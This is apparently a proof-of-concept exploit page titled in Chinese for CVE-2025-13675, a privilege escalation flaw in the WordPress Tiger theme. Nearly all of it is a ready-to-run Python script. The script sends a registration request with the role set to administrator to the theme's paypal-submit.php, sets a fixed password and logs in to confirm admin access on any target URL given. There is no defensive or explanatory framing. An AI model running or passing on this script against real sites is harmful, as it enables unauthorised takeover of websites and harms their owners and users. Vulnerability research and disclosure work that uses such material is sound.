CVE-2025-13675 WordPress Tiger主题权限提升漏洞

import requests import re # CVE-2025-13675 PoC - WordPress Tiger Theme Privilege Escalation # Target: WordPress site using Tiger theme <= 101.2.1 def exploit_tiger_theme(target_url): """ Exploit the privilege escalation vulnerability in Tiger theme. Attackers can register as administrator by manipulating the role parameter. """ target_url = target_url.rstrip('/') # Path to the vulnerable paypal-submit.php file vulnerable_endpoint = f"{target_url}/wp-content/themes/tiger/inc/paypal-submit.php" # Generate random username and email for registration import uuid username = f"admin_{uuid.uuid4().hex[:8]}" email = f"{username}@attacker.com" # Prepare registration data with administrator role # This is the key exploit: specifying 'administrator' as the role payload = { 'user_login': username, 'user_email': email, 'user_pass': 'P@ssw0rd123!', 'role': 'administrator', # Privilege escalation - requesting admin role 'task': 'register' } print(f"[*] Target: {target_url}") print(f"[*] Exploiting vulnerable endpoint: {vulnerable_endpoint}") print(f"[*] Attempting to register administrator account: {username}") try: response = requests.post(vulnerable_endpoint, data=payload, timeout=30) if response.status_code == 200: print(f"[+] Registration request sent successfully") print(f"[+] Check if account was created with administrator privileges") print(f"[+] Credentials: {username} / P@ssw0rd123!") # Verify the created account login_url = f"{target_url}/wp-login.php" verify_data = { 'log': username, 'pwd': 'P@ssw0rd123!', 'rememberme': 'forever', 'redirect_to': f"{target_url}/wp-admin/" } session = requests.Session() login_response = session.post(login_url, data=verify_data, allow_redirects=False) if 'admin' in login_response.headers.get('Location', '') or login_response.status_code == 302: print(f"[+] SUCCESS: Administrator account created and login verified!") return True else: print(f"[-] Request failed with status code: {response.status_code}") except requests.exceptions.RequestException as e: print(f"[-] Connection error: {e}") return False if __name__ == "__main__": import sys if len(sys.argv) > 1: target = sys.argv[1] exploit_tiger_theme(target) else: print("Usage: python cve-2025-13675.py http://target.com")